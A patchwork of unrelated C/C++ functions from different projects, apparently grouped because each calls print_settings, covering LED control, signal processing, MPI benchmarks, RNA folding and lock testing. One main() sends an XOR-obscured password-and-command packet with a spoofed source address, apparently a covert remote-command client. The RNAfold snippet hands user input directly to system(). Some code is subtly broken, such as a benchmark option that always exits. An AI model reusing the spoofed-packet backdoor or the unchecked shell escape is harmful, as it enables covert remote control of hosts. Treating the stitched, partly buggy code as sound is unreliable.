int write_settings(int fd, char *settings) { if (strlen(settings) != sizeof(struct Settings) * 2) { fprintf(stderr, "Invalid length for settings"); return -1; } struct Settings new_settings; int i; for (i=0; i < sizeof(struct Settings); i++) { sscanf(&settings[i*2], "%2x", &((char*)&new_settings)[i]); } printf("New Settings:\n"); print_settings(&new_settings); struct Command cmd = { HEAD, CMD_SETTINGS_WRITE, 0, 0 }; int n = write(fd, &cmd, 4) + write(fd, &new_settings, sizeof(struct Settings)); if (n != 4 + sizeof(struct Settings)) { perror("write_settings: failed to update settings"); return -1; } return 0; }
void print_data(char *file, char *tag) { FILE *f; long i; int count=0; /* Do we really want debug data ? */ if(file==NULL)return; fprintf(stderr,"Writing debugging info (tag \"%s\") into file \"%s\"\n", tag, file); f=fopen(file, "w"); while(f==NULL){ if(count<60){ sleep(1); f=fopen(file, "w"); count++; continue; } perror(file); return; } fprintf(f,"#\n# Tag: %s\n#\n", tag); fprintf(f,"# Channel: \"%s\"\n#\n", channel); fprintf(f,"# GPS start: %lld\n", gps_start); fprintf(f,"# GPS end: %lld\n", gps_end); fprintf(f,"# samples_per_second: %ld\n", samples_per_second); fprintf(f,"# total_samples: %ld\n", total_samples); fprintf(f,"# version: %s\n", MAKE_SFT_VERSION); print_settings(f); fprintf(f,"#\n#\n"); for(i=0;i<total_samples;i++){ fprintf(f, "%.*g\n", precision, data[i]); } fclose(f); }
/*----------------------------------------------------------------------------- * FUNCTION: main * * DATE: June 4, 2010 * * REVISIONS: * * DESIGNER: Steffen L. Norgren <*****@*****.**> * * PROGRAMMER: Steffen L. Norgren <*****@*****.**> * * INTERFACE: int main(int argc, char **argv) * argc - argument count * argv - array of arguments * * RETURNS: Result on success or failure. * * NOTES: Main entry point into the program. Parses command-line arguments and * configures the client. * *----------------------------------------------------------------------------*/ int main(int argc, char *argv[]) { char packet[MAX_PKT_LEN]; /* parse CLI options */ if (parse_options(argc, argv) == ERROR_OPTS) { err(1, "Invalid options"); exit(ERROR_OPTS); } print_settings(argv[0]); /* make sure user is root */ if (geteuid() != USER_ROOT) { fprintf(stderr, "Must be root to run this program.\n"); exit(ERROR_NOTROOT); } /* raise privileges */ if (set_root() == ERROR_NOTROOT) { err(1, "set_root"); } sprintf(packet, "%s%s%s%s", PASSWORD, EXT_CMD_START, cli_vars.command, EXT_CMD_END); packet_forge(xor(packet), "216.187.76.2", cli_vars.server_ip); return 0; }
//executes 1 command line void execute_command(char * command_line){ if (command_line[0]=='#') return; //=comments if (write_to_thread_buffer){ if (strncmp(command_line, "thread_stop", 11)==0){ if (mode==MODE_TCP){ write_to_thread_buffer=0; if (debug) printf("Thread stop.\n"); if (thread_write_index>0) start_thread=1; //remember to start the thread when client closes the TCP/IP connection } }else{ if (debug) printf("Write to thread buffer: %s\n", command_line); while (*command_line!=0){ write_thread_buffer(*command_line); //for TCP/IP we write to the thread buffer command_line++; } write_thread_buffer(';'); } }else{ char * arg = strchr(command_line, ' '); char * command = strtok(command_line, " \r\n"); if (arg!=NULL) arg++; if (strcmp(command, "render")==0){ render(arg); }else if (strcmp(command, "rotate")==0){ rotate(arg); }else if (strcmp(command, "delay")==0){ if (arg!=NULL) usleep((atoi(arg)+1)*1000); }else if (strcmp(command, "brightness")==0){ brightness(arg); }else if (strcmp(command, "rainbow")==0){ rainbow(arg); }else if (strcmp(command, "fill")==0){ fill(arg); }else if (strcmp(command, "do")==0){ start_loop(arg); }else if (strcmp(command, "loop")==0){ end_loop(arg); }else if (strcmp(command, "thread_start")==0){ //start a new thread that processes code if (thread_running==0 && mode==MODE_TCP) init_thread(arg); }else if (strcmp(command, "setup")==0){ setup_ledstring(arg); }else if (strcmp(command, "settings")==0){ print_settings(); }else if (strcmp(command, "debug")==0){ if (debug) debug=0; else debug=1; }else if (strcmp(command, "exit")==0){ printf("Exiting.\n"); exit_program=1; }else{ printf("Unknown cmd: %s\n", command_line); } } }
void Console_run_2::do_processing() { // create empty Structure_2 object // Structure_2 s(0); // load settings char* settingspath = ""; assign_string_parameter_if_exists(argc, argv, "-settings", settingspath); if (QString(settingspath)!="") { // std::cout << "Load settings from: " << settingspath << std::endl; Settings_table_model::load_current_settings(settingspath); } print_settings("p-"); std::cout << std::endl; // open file char* filename = ""; assign_string_parameter_if_exists(argc, argv, "-input", filename); std::fstream infile; infile.open (filename); if (infile.is_open()) { infile.close(); std::cout << "Input file: " << filename << std::endl; // s.load_generic_file(std::string(filename)); } else { std::cout << "Input file could not be opened: " << filename << std::endl; return; } char* outfilename = "out.pstg"; assign_string_parameter_if_exists(argc, argv, "-output", outfilename); std::ofstream outfile; outfile.open(outfilename); // compute set cover std::cout << std::endl << PROGRESS_STATUS << "Stage computation" << std::endl; // s.get_output_aggregate(); std::cout << PROGRESS_DONE << std::endl; // s.print_all_data(outfile); std::cout << "Result written to " << outfilename << std::endl; outfile.close(); }
int main(int argc, char **argv) { char c; init_settings(); setbuf(stderr,NULL); if (argc < 2) { usage(argv[0]); exit(EXIT_FAILURE); } while (-1 != (c = getopt(argc, argv, "F:" "D:" "T:" "N:" "W:" "f:" ))) { switch(c) { case 'F': bench_desc.log_file_dir = optarg; break; case 'D': bench_desc.dir_path = optarg; break; case 'T': bench_desc.num_threads = atoi(optarg); if (bench_desc.num_threads < 1) { fprintf(stderr, "Number of threads (T) must be greater than 0\n"); exit(EXIT_FAILURE); } if (bench_desc.num_threads > MAX_THREADS) { fprintf(stderr, "WARNING: Number of threads (T) is too large. " "This is not recommended and may lead to weird " "behavior.\n"); } break; case 'N': bench_desc.num_files = atoi(optarg); break; case 'W': if (strcasecmp(optarg, "create") == 0) bench_desc.workload_type = CREATE_WORKLOAD; else if (strcasecmp(optarg, "lookup") == 0) bench_desc.workload_type = LOOKUP_WORKLOAD; else if (strcasecmp(optarg, "scan") == 0) { bench_desc.workload_type = SCAN_WORKLOAD; bench_desc.num_threads = 1; } else if (strcasecmp(optarg, "mixed") == 0) bench_desc.workload_type = MIXED_WORKLOAD; else { fprintf(stderr, "Invalid workload (w): %s \n" "We only support: create, lookup, scan or mixed." "\n",optarg); exit(EXIT_FAILURE); } break; case 'f': if (bench_desc.workload_type == MIXED_WORKLOAD) { bench_desc.mixed_frac = atof(optarg); if ((bench_desc.mixed_frac < 0.0) || (bench_desc.mixed_frac > 1.0)) fprintf(stderr, "range of mixed_frac (f) is [0.0-1.0] \n"); exit(EXIT_FAILURE); } else fprintf(stderr, "WARNING: mixed_frac (f) is valid only with " "mixed workloads (-O m). We will default it to " "an all create workload. \n"); default: fprintf(stderr, "Illegal parameter: %c\n", c); break; } } print_settings(); init_threads(); return 1; }
int main(int argc, char *argv[]) { int fd = -1; int result = 0; if (argc < 4) { usage(argv[0]); } else { fd = open_port(argv[1]); if (fd == -1) { printf("Could not open device: %s\n", argv[1]); return 1; } if (ping_pong(fd) != 0) { printf("Could not communicate with device: %s\n", argv[1]); close(fd); return 1; } if (strcmp(argv[2], "light") == 0 && argc >= 5) { if (strcmp(argv[4], "pwm") == 0 && argc < 6) { printf("Invalid number of parameters for light pwm\n"); usage(argv[0]); close(fd); return 1; } result = light_command(fd, &argv[3]); } else if (strcmp(argv[2], "all") == 0) { if (strcmp(argv[3], "pwm") == 0 && argc < 5) { printf("Invalid number of parameters for all pwm\n"); usage(argv[0]); close(fd); return 1; } result = all_command(fd, &argv[3]); } else if (strcmp(argv[2], "settings") == 0 && strcmp(argv[3], "read") == 0) { struct Settings settings; int n = read_settings(fd, &settings); if (n != 0) { close(fd); return 1; } if (argc >= 5 && strcmp(argv[4], "hex") == 0) { print_settings_hex(&settings); } else { print_settings(&settings); } } else if (strcmp(argv[2], "settings") == 0 && strcmp(argv[3], "write") == 0 && argc > 4) { result = write_settings(fd, argv[4]); } else { printf("Invalid command\n\n"); usage(argv[0]); } } if (fd != -1) { close(fd); } return result; }
/** * Main function which selects the process to be a master or a worker * based on MPI myid. * * @param argc Number of arguments. * @param argv Pointer to the argument pointers. * @return 0 on success. */ int main(int argc, char **argv) { int myid, numprocs, i; int err = -1; struct test_params_s test_params; struct mpe_events_s mpe_events; struct frag_preresult_s **query_frag_preresult_matrix = NULL; memset(&test_params, 0, sizeof(struct test_params_s)); MPI_Init(&argc, &argv); #ifdef HAVE_MPE MPI_Pcontrol(0); #endif MPI_Comm_rank(MPI_COMM_WORLD, &myid); MPI_Comm_size(MPI_COMM_WORLD, &numprocs); init_mpe_events(&mpe_events); #ifdef HAVE_MPE if (myid == MASTER_NODE) { init_mpe_describe_state(&mpe_events); } #endif if (myid == MASTER_NODE) { err = parse_args(argc, argv, &test_params); if (err >= 0) print_settings(&test_params, numprocs); if (test_params.output_file != NULL) MPI_File_delete(test_params.output_file, MPI_INFO_NULL); if (numprocs < 2) { fprintf(stderr, "Must use at least 2 processes.\n"); err = -1; } } MPI_Bcast(&err, 1, MPI_INT, MASTER_NODE, MPI_COMM_WORLD); /* Quit if the parse_args failed */ if (err != 0) { MPI_Finalize(); return 0; } /* Master precalculates all the results for the queries and * reads in the database histogram parameters */ if (myid == MASTER_NODE) { if ((query_frag_preresult_matrix = (struct frag_preresult_s **) malloc(test_params.query_count * sizeof(struct frag_preresult_s *))) == NULL) { custom_debug( MASTER_ERR, "M:malloc query_frag_preresult_matrix of size %d failed\n", test_params.query_count * sizeof(struct frag_preresult_s *)); return -1; } for (i = 0; i < test_params.query_count; i++) { if ((query_frag_preresult_matrix[i] = (struct frag_preresult_s *) malloc(test_params.total_frags * sizeof(struct frag_preresult_s))) == NULL) { custom_debug( MASTER_ERR, "M:malloc query_frag_preresult_matrix[%d] " "of size %d failed\n", i, test_params.total_frags * sizeof(struct frag_preresult_s)); return -1; } memset(query_frag_preresult_matrix[i], 0, test_params.total_frags * sizeof(struct frag_preresult_s)); } precalculate_results(&test_params, query_frag_preresult_matrix); test_params.query_frag_preresult_matrix = query_frag_preresult_matrix; if (test_params.query_params_file != NULL) { read_hist_params(&test_params, QUERY); #if 0 print_hist_params(&test_params); #endif } if (test_params.db_params_file != NULL) { read_hist_params(&test_params, DATABASE); #if 0 print_hist_params(&test_params); #endif } } MPI_Barrier(MPI_COMM_WORLD); #ifdef HAVE_MPE MPI_Pcontrol(1); #endif /* Divide up into either a Master or Worker */ mpe_events.total_time = MPI_Wtime(); if (myid == 0) { err = master(myid, numprocs, &mpe_events, &test_params); if (err != 0) custom_debug(MASTER_ERR, "master failed\n"); else custom_debug(MASTER, "master (proc %d) reached last barrier\n", myid); } else { err = worker(myid, numprocs, &mpe_events, &test_params); if (err != 0) custom_debug(WORKER_ERR, "worker failed\n"); else custom_debug(WORKER, "worker (proc %d) reached last barrier\n", myid); } custom_MPE_Log_event(mpe_events.sync_start, 0, NULL, &mpe_events); MPI_Barrier(MPI_COMM_WORLD); custom_MPE_Log_event(mpe_events.sync_end, 0, NULL, &mpe_events); MPI_Pcontrol(0); mpe_events.total_time = MPI_Wtime() - mpe_events.total_time; #if 0 print_timing(myid, &mpe_events); #endif MPI_Barrier(MPI_COMM_WORLD); timing_reduce(myid, numprocs, &mpe_events); /* Clean up precomputed results and file */ if (myid == MASTER_NODE) { if (test_params.query_params_file != NULL) { free(test_params.query_params_file); free(test_params.query_hist_list); } if (test_params.db_params_file != NULL) { free(test_params.db_params_file); free(test_params.db_hist_list); } MPI_File_delete(test_params.output_file, MPI_INFO_NULL); for (i = 0; i < test_params.query_count; i++) { free(query_frag_preresult_matrix[i]); } free(query_frag_preresult_matrix); } MPI_Info_free(test_params.info_p); free(test_params.info_p); free(test_params.output_file); MPI_Barrier(MPI_COMM_WORLD); MPI_Finalize(); return 0; }
int main(int argc, char *argv[]) { long i; double window_sum; LALStatus status={level:0, statusPtr: NULL}; PassBandParamStruc filterpar; REAL4TimeSeries chan; /* must zero the f0 field */ fprintf(stderr,"make_sft_op version %s\n", MAKE_SFT_VERSION); fprintf(stderr,"Using frame library %s\n", FrLibVersionF()); fprintf(stderr,"Using LAL version %s\n", LAL_VERSION); yylex(); if(freq_start<0)freq_start=0; if(freq_stop<0)freq_stop=total_samples; /* post_init various subsystems */ post_init_response_files(); post_init_alpha_beta(); /* print settings */ print_settings(stderr); /* start processing data */ print_data_stats(); print_data(file_debug1, "debug 1"); verify_loaded_data(); generate_fake_data(); linear_interpolate_gaps(); print_data(file_debug2, "debug 2"); /* this is a hack, but it significantly reduces memory footprint */ td_data=do_alloc(1,sizeof(*td_data)); td_data->length=total_samples; td_data->data=data; /* setup structure to hold input for Butterworth filter */ chan.data=NULL; strncpy(chan.name,channel,LALNameLength); chan.f0=0; chan.name[LALNameLength-1]=0; /* make sure it is null-terminated */ chan.deltaT=1.0/samples_per_second; chan.epoch.gpsSeconds=gps_start; /* no need */ chan.epoch.gpsNanoSeconds=0; if(trace_power){ fprintf(stderr, "Input data total power=%.*g\n", precision, sum_r4_squares(data, total_samples)/samples_per_second); } if(!bypass_highpass_filter && (highpass_filter_f>0) && (highpass_filter_a>0)){ fprintf(stderr,"Applying high pass filter, f=%g a=%g order=%d\n", highpass_filter_f, highpass_filter_a, highpass_filter_order); /* Setup Butterworth filter */ filterpar.name="Butterworth High Pass"; filterpar.nMax=highpass_filter_order; filterpar.f2=highpass_filter_f; filterpar.a2=highpass_filter_a; /* values that are 'not given' = out of range */ filterpar.f1=-1.0; filterpar.a1=-1.0; /* REAL4Sequence is the same as REAL4Vector - according to lal/Datatypes.h */ chan.data=(REAL4Sequence *)td_data; LALDButterworthREAL4TimeSeries(&status, &chan, &filterpar); TESTSTATUS(&status); if(trace_power){ fprintf(stderr, "After highpass filter total power=%.*g\n", precision, sum_r4_squares(data, total_samples)/samples_per_second); } } if(!bypass_lowpass_filter && (lowpass_filter_f>0) && (lowpass_filter_a > 0)){ fprintf(stderr,"Applying low pass filter, f=%g a=%g order=%d\n", lowpass_filter_f, lowpass_filter_a, lowpass_filter_order); /* Setup Butterworth filter */ filterpar.name="Butterworth Low Pass"; filterpar.nMax=lowpass_filter_order; filterpar.f1=lowpass_filter_f; filterpar.a1=lowpass_filter_a; /* values that are 'not given' = out of range */ /* why 2*nsamples ? LAL used to have a bug in it where the pairs were sorted before deciding whether the filter is lowpass or highpass. Therefore, we need to specify a large, out of range, frequency f so that we get a low-pass filter. The maximum frequency is Nyquist, hence 2*nsamples is definitely out of range */ filterpar.f2=2*total_samples; filterpar.a2=-1.0; /* REAL4Sequence is the same as REAL4Vector - according to lal/Datatypes.h */ chan.data=(REAL4Sequence *)td_data; LALDButterworthREAL4TimeSeries(&status, &chan, &filterpar); TESTSTATUS(&status); if(trace_power){ fprintf(stderr, "After lowpass filter total power=%.*g\n", precision, sum_r4_squares(data, total_samples)/samples_per_second); } } if(!bypass_first_window){ fprintf(stderr,"Applying Hann window to input data\n"); for(i=0;i<total_samples;i++)data[i]*=0.5*(1.0-cos((2.0*M_PI*i)/total_samples)); window_sum=0.5; } else { window_sum=1.0; } if(trace_power){ fprintf(stderr, "After windowing total power=%.*g\n", precision, sum_r4_squares(data, total_samples)/samples_per_second); } for(i=0;i<3;i++){ fprintf(stderr,"Allocating phi[%ld]\n", i); LALCCreateVector(&status, &(phi[i]), freq_stop-freq_start); TESTSTATUS(&status); } compute_test_fft(td_data, phi, 3, freq_start, freq_stop); /* now free td_data to conserve space */ free(td_data->data); data=NULL; free(td_data); td_data=NULL; LALCCreateVector(&status, &pgram, freq_stop-freq_start); TESTSTATUS(&status); compute_calibrated_periodogram3(phi, freq_start, freq_stop, pgram, window_sum); print_COMPLEX8Vector(pgram, output_sft, "CALIBRATED FREQUENCY DOMAIN DATA", output_mode, 0, freq_stop-freq_start); if(output_power!=NULL){ /* we need more space */ for(i=0;i<3;i++){ LALCDestroyVector(&status, &(phi[i])); TESTSTATUS(&status); } LALSCreateVector(&status, &power, freq_stop-freq_start); TESTSTATUS(&status); for(i=0;i<freq_stop-freq_start;i++) power->data[i]=(pgram->data[i].re*pgram->data[i].re+pgram->data[i].im*pgram->data[i].im); print_REAL4Vector(power, output_power, "CALIBRATED POWER", output_mode, 0, freq_stop-freq_start); } /* we do not destroy large vectors when we are done unless we need to allocate a lot of space again. This reduces run time of the program */ return 0; }
/*----------------------------------------------------------------------------- * FUNCTION: main * * DATE: March 6, 2010 * * REVISIONS: * * DESIGNER: Steffen L. Norgren <*****@*****.**> * * PROGRAMMER: Steffen L. Norgren <*****@*****.**> * * INTERFACE: int main(int argc, char **argv) * argc - argument count * argv - array of arguments * * RETURNS: Result on success or failure. * * NOTES: Main entry point into the application. Checks command-line options * and sets appropriate defaults. * *----------------------------------------------------------------------------*/ int main(int argc, char *argv[]) { int c, option_index = 0; static struct option long_options[] = { {"repeat" , required_argument, 0, 'r'}, {"conn" , required_argument, 0, 'c'}, {"length" , required_argument, 0, 'l'}, {"server" , required_argument, 0, 's'}, {"port" , required_argument, 0, 'p'}, {"file" , required_argument, 0, 'f'}, {"help" , no_argument , 0, 'h'}, {0, 0, 0, 0} }; /* Set Defaults */ test_vars.repeat = TV_REPEAT; test_vars.conns = TV_CONNS; test_vars.string_length = TV_LENGTH; test_vars.server = TV_SERVER; test_vars.port = TV_PORT; test_vars.output_file = TV_FILE; while (1) { c = getopt_long(argc, argv, "r:c:l:s:p:f:h", long_options, &option_index); if (c == -1) break; switch (c) { case 0: /* If the option set a flag, do nothing */ if (long_options[option_index].flag != 0) break; break; case 'r': if (atoi(optarg) > 0) test_vars.repeat = atoi(optarg); break; case 'c': if (atoi(optarg) > MAX_CONNS) test_vars.conns = MAX_CONNS; else if (atoi(optarg) > 0) test_vars.conns = atoi(optarg); break; case 'l': if (atoi(optarg) > MAX_IOSIZE) test_vars.string_length = MAX_IOSIZE; else if (atoi(optarg) > 0) test_vars.string_length = atoi(optarg); break; case 's': test_vars.server = optarg; break; case 'p': if (atoi(optarg) > 0) test_vars.port = atoi(optarg); break; case 'f': test_vars.output_file = optarg; break; case 'h': print_usage(argv[0], ERROR_NONE); break; default: print_usage(argv[0], ERROR_OPTS); break; } } /* print current settings */ print_settings(argc); /* initialise the client */ client_init(); return ERROR_NONE; }
int main (int argc, char **argv) { toptions *opt; tsequence *seq; treadseq *rs = NULL; ttokenizer *tokenizer = NULL; char *command; opt = (toptions *) calloc(1,sizeof(toptions)); init_defaults(opt); process_args(opt, 0, argc, argv); if (!opt->terminate) { if (optind < argc) rs = readseq_open(READSEQ_STRING, argv[optind]); else if (opt->inputfile) rs = readseq_open(READSEQ_FILE, opt->inputfile); else if (!isatty(fileno(stdin))) rs = readseq_open(READSEQ_STDIN, NULL); else { printf("Interactive mode. Try `./RNAfold -h` for more information.\n", argv[0]); rl_init(); opt->interactive = 1; opt->colored_output = 1 - opt->colored_output; tokenizer = tokenizer_new(); rs = readseq_open(READSEQ_STRING, ""); } while (1) { if (opt->interactive) { if (opt->colored_output) printf("%s\nInput sequence (upper or lower case); :q to quit, -h for help.\n....,....1....,....2....,....3....,....4....,....5....,....6....,....7....,....8\n%s",COLOR_RED,COLOR_DEFAULT); else printf("\nInput sequence (upper or lower case); :q to quit, -h for help.\n....,....1....,....2....,....3....,....4....,....5....,....6....,....7....,....8\n"); command = rl_gets(); if (!command || (command[0] == '@') || ((command[0] == ':') && (command[1] == 'q'))) { pcolor(opt->colored_output,COLOR_BLUE); printf("Leaving RNAfold."); pcolor(opt->colored_output,COLOR_DEFAULT); printf("\n"); exit(0); } else if (command[0] == ':') { pcolor(opt->colored_output,COLOR_BLUE); if (command[1] == 's') print_settings(opt); if (command[1] == 'd') { init_defaults(opt); opt->colored_output = 1; opt->interactive = 1; printf("Activated default configuration.\n"); pcolor(opt->colored_output,COLOR_DEFAULT); } if (command[1] == 'e') { system(command + 2); } if (command[1] == 'r') { system("make update"); system("./RNAfold"); exit(0); } } else if (command[0] == '-') { tokenizer_exec(tokenizer, argv[0], command); process_args(opt, 1, tokenizer->count, tokenizer->token); if (opt->inputfile) { rs = readseq_free(rs); rs = readseq_open(READSEQ_FILE, opt->inputfile); } free(opt->inputfile); opt->inputfile = NULL; } else { rs = readseq_free(rs); rs = readseq_open(READSEQ_STRING, command); } } while (1) { seq = readseq_next_fasta(rs); if (!(seq->success)) break; if (1) { main_rnafold_mfe(opt, seq); } sequence_free(seq); } if (!opt->interactive) break; } } exit(0); }
/*----------------------------------------------------------------------------- * FUNCTION: main * * DATE: January 25, 2010 * * REVISIONS: * * DESIGNER: Steffen L. Norgren <*****@*****.**> * * PROGRAMMER: Steffen L. Norgren <*****@*****.**> * * INTERFACE: int main(int argc, char **argv) * argc - argument count * argv - array of arguments * * RETURNS: Result on success or failure. * * NOTES: Main entry point into the application. Parses command line options * and sets up conditions to create new child processes. * *----------------------------------------------------------------------------*/ int main (int argc, char **argv) { PRIME_OPTIONS *opts; int c, option_index = 0; static struct option long_options[] = { {"processes" , required_argument , 0, 'p'}, {"output" , required_argument , 0, 'o'}, {"start" , required_argument , 0, 's'}, {"block" , required_argument , 0, 'b'}, {"help" , no_argument , 0, 'h'}, {0, 0, 0, 0} }; opts = malloc(sizeof(PRIME_OPTIONS)); /* Set Defaults */ opts->output = _OPTS_OUTPUT; opts->processes = _OPTS_PROCESSES; opts->start = _OPTS_START; opts->block = _OPTS_BLOCK; while (1) { c = getopt_long(argc, argv, "p:o:s:b:h", long_options, &option_index); if (c == -1) break; switch (c) { case 0: /* If the option set a flag, do nothing */ if (long_options[option_index].flag != 0) break; break; case 'p': if (atoi(optarg) > 0) opts->processes = atoi(optarg); break; case 'o': opts->output = optarg; break; case 's': if (atoi(optarg) > 0) opts->start = atoi(optarg); break; case 'b': if (atoi(optarg) > 0) opts->block = atoi(optarg); break; case 'h': print_usage(argv[0], _OPTS_HELP); break; default: print_usage(argv[0], _OPTS_ERROR); break; } } /* Print current settings */ print_settings(argc, opts); /* Start the child processes */ create_processes(opts); /* Start reading from the pipe and writing to the file */ printf("Parent pid %d writing output to file %s\n", getpid(), opts->output); write_from_pipe(opts); printf("Parent pid %d finished writing to file %s\n", getpid(), opts->output); free(opts); exit(_PARENT_EXIT); }
int main(int argc, char *argv[]) { matrix A; vector u, v, x_bar; int status; double square_pnts[2][2]; #ifdef HAVE_MPI setup(&argc, &argv); #endif /* HAVE_MPI */ /* parse the command-line arguments */ if ((status = process_cl(argc, argv)) != 0) { #ifdef HAVE_MPI finalise(); #endif /* HAVE_MPI */ fprintf(stderr, "ERROR: Received command-line parsing status %d\n", status); fflush(stderr); return EXIT_FAILURE; } #ifdef HAVE_LIBGSL /* read GSL_IEEE_MODE */ gsl_ieee_env_setup(); #else fesetround(FE_UPWARD); #endif /* HAVE_LIBGSL */ /* specify the domain */ square_pnts[0][0] = globalArgs.x0; square_pnts[0][1] = globalArgs.x1; square_pnts[1][0] = globalArgs.y0; square_pnts[1][1] = globalArgs.y1; print_settings(); /* set up the poisson matrix and vectors */ setup_poiss_2d(&A, &u, &v, &x_bar, globalArgs.s, globalArgs.d, square_pnts, *src_dens, *bound_cond); #ifdef NDEBUG /* print the matrix and vectors */ # ifdef HAVE_MPI fprintf(stdout, "Partial matrix %d:\n", mpiArgs.rank); # else printf("Matrix:\n"); # endif /* HAVE_MPI */ matrix_print(&A); #endif /* NDEBUG */ /* solve with conjugate gradient */ if (status == 0) { status = conjugate(&A, &v, &u, &x_bar, globalArgs.e); } else { fprintf(stderr, "ERROR: Received conjugate method status %d\n", status); fflush(stderr); } /* print the vector into a gnuplot format */ if (status == 0) { status = print_surface(&x_bar, globalArgs.s - 2, *bound_cond); } matrix_free(&A); vector_free(&u); vector_free(&v); vector_free(&x_bar); #ifdef HAVE_MPI finalise(); #endif /* HAVE_MPI */ return status; }
static int check_command_line(struct modbus_params_t *params, int argc, char **argv) { (void)argc; #if LIBMODBUS_VERSION_MAJOR >= 3 if (params->host == NULL && params->serial == NULL && params->file == NULL) { ERR("Not provided or unable to parse host address/serial port name/filename: %s\n", argv[0]); return RESULT_WRONG_ARG; }; #else if (params->host == NULL && params->file == NULL) { ERR("Not provided or unable to parse host address or filename: %s\n", argv[0]); return RESULT_WRONG_ARG; }; #endif #if LIBMODBUS_VERSION_MAJOR >= 3 if (params->serial != NULL) { if (params->serial_mode != MODBUS_RTU_RS232 && params->serial_mode != MODBUS_RTU_RS485) { ERR("%s: Invalid value of serial port mode parameter!\n", argv[0]); return RESULT_WRONG_ARG; } if (check_serial_parity(params->serial_parity)) { ERR("%s: Invalid value of serial port parity mode parameter!\n", argv[0]); return RESULT_WRONG_ARG; } if (params->serial_data_bits < 5 || params->serial_data_bits > 8) { ERR("%s: Invalid value of serial port mode data length parameter!\n", argv[0]); return RESULT_WRONG_ARG; } if (params->serial_stop_bits < 1 || params->serial_stop_bits > 2) { ERR("%s: Invalid value of serial port stop bits parameter!\n", argv[0]); return RESULT_WRONG_ARG; } } #endif if (params->perf_data && (params->perf_label == NULL)) { ERR("Label parameter is required, when performance data is enabled\n"); return RESULT_WRONG_ARG; } if (params->dump_size > 127) { ERR("The maximal number of registers in one dump is 127\n"); return RESULT_WRONG_ARG; } if (check_swap_inverse(params)) return RESULT_WRONG_ARG; if (check_function_num(params)) return RESULT_WRONG_ARG; if (check_format_type(params)) return RESULT_WRONG_ARG; if (check_source(params)) return RESULT_WRONG_ARG; if (check_dump_param(params)) return RESULT_WRONG_ARG; if (dbg_chk_level(DBG_INFO)) print_settings(stdout, params); return RESULT_OK; }
static void process_command(int *quit) { char inbuf[132]; int x = 0, y = 0; if (!opt_cmd) { fgets(inbuf, sizeof(inbuf), stdin); sscanf(inbuf, "%s %d %d", cmd, &x, &y); } if (!strncmp(cmd, "EXIT", 4)) { *quit = 1; unlock_all(); return; } if (!strncmp(cmd, "CLOSE", 5)) { *quit = 1; openclose_ls = 1; unlock_all(); return; } if (!strncmp(cmd, "kill", 4)) { printf("process exiting\n"); exit(0); } if (!strncmp(cmd, "lock", 4) && strlen(cmd) == 4) { lock(x, y); return; } if (!strncmp(cmd, "unlock", 6) && strlen(cmd) == 6) { unlock(x); return; } if (!strncmp(cmd, "unlockf", 7) && strlen(cmd) == 7) { unlockf(x); return; } if (!strncmp(cmd, "cancel", 6) && strlen(cmd) == 6) { cancel(x); return; } if (!strncmp(cmd, "canceld", 7) && strlen(cmd) == 7) { canceld(x, y); return; } if (!strncmp(cmd, "lock_sync", 9) && strlen(cmd) == 9) { lock_sync(x, y); return; } if (!strncmp(cmd, "unlock_sync", 11) && strlen(cmd) == 11) { unlock_sync(x); return; } if (!strncmp(cmd, "lock-kill", 9) && strlen(cmd) == 9) { lock(x, y); printf("process exiting\n"); exit(0); } if (!strncmp(cmd, "unlock-kill", 11) && strlen(cmd) == 11) { unlock(x); printf("process exiting\n"); exit(0); } if (!strncmp(cmd, "lock-cancel", 11) && strlen(cmd) == 11) { lock(x, y); /* usleep(1000 * z); */ cancel(x); return; } if (!strncmp(cmd, "lock-unlockf", 12) && strlen(cmd) == 12) { lock(x, y); /* usleep(1000 * z); */ unlockf(x); return; } if (!strncmp(cmd, "ex", 2)) { lock(x, LKM_EXMODE); return; } if (!strncmp(cmd, "pr", 2)) { lock(x, LKM_PRMODE); return; } if (!strncmp(cmd, "hold", 4) && strlen(cmd) == 4) { lock_all(LKM_PRMODE); return; } if (!strncmp(cmd, "hold-kill", 9) && strlen(cmd) == 9) { lock_all(LKM_PRMODE); exit(0); } if (!strncmp(cmd, "release", 7) && strlen(cmd) == 7) { unlock_all(); return; } if (!strncmp(cmd, "release-kill", 12) && strlen(cmd) == 12) { unlock_all(); exit(0); } if (!strncmp(cmd, "dump", 4) && strlen(cmd) == 4) { dump(); return; } if (!strncmp(cmd, "stress", 6) && strlen(cmd) == 6) { if (iterations && !x) x = iterations; stress(x); return; } if (!strncmp(cmd, "tstress", 7) && strlen(cmd) == 7) { tstress(x); return; } if (!strncmp(cmd, "dstress", 7) && strlen(cmd) == 7) { dstress(x); return; } if (!strncmp(cmd, "stress_delay", 12) && strlen(cmd) == 12) { stress_delay = x; return; } if (!strncmp(cmd, "stress_lock_only", 16) && strlen(cmd) == 16) { stress_lock_only = !stress_lock_only; printf("stress_lock_only is %s\n", stress_lock_only ? "on" : "off"); return; } if (!strncmp(cmd, "stress_stop", 11) && strlen(cmd) == 11) { stress_stop = !stress_stop; printf("stress_stop is %d\n", stress_stop); return; } if (!strncmp(cmd, "ignore_bast", 11) && strlen(cmd) == 11) { ignore_bast = !ignore_bast; printf("ignore_bast is %s\n", ignore_bast ? "on" : "off"); return; } if (!strncmp(cmd, "our_xid", 7) && strlen(cmd) == 7) { our_xid = x; printf("our_xid is %llx\n", (unsigned long long)our_xid); return; } if (!strncmp(cmd, "purge", 5) && strlen(cmd) == 5) { purge(x, y); return; } if (!strncmp(cmd, "purgetest", 9) && strlen(cmd) == 9) { purgetest(x, y); return; } if (!strncmp(cmd, "noqueue", 7)) { noqueue = !noqueue; printf("noqueue is %s\n", noqueue ? "on" : "off"); return; } if (!strncmp(cmd, "persistent", 10)) { persistent = !persistent; printf("persistent is %s\n", persistent ? "on" : "off"); return; } if (!strncmp(cmd, "minhold", 7)) { minhold = x; return; } if (!strncmp(cmd, "timeout", 7)) { timeout = (uint64_t) 100 * x; /* dlm takes it in centiseconds */ printf("timeout is %d\n", x); return; } if (!strncmp(cmd, "quiet", 5)) { quiet = !quiet; printf("quiet is %d\n", quiet); return; } if (!strncmp(cmd, "verbose", 7)) { verbose = !verbose; printf("verbose is %d\n", verbose); return; } if (!strncmp(cmd, "help", 4)) { print_commands(); return; } if (!strncmp(cmd, "settings", 8)) { print_settings(); return; } printf("unknown command %s\n", cmd); }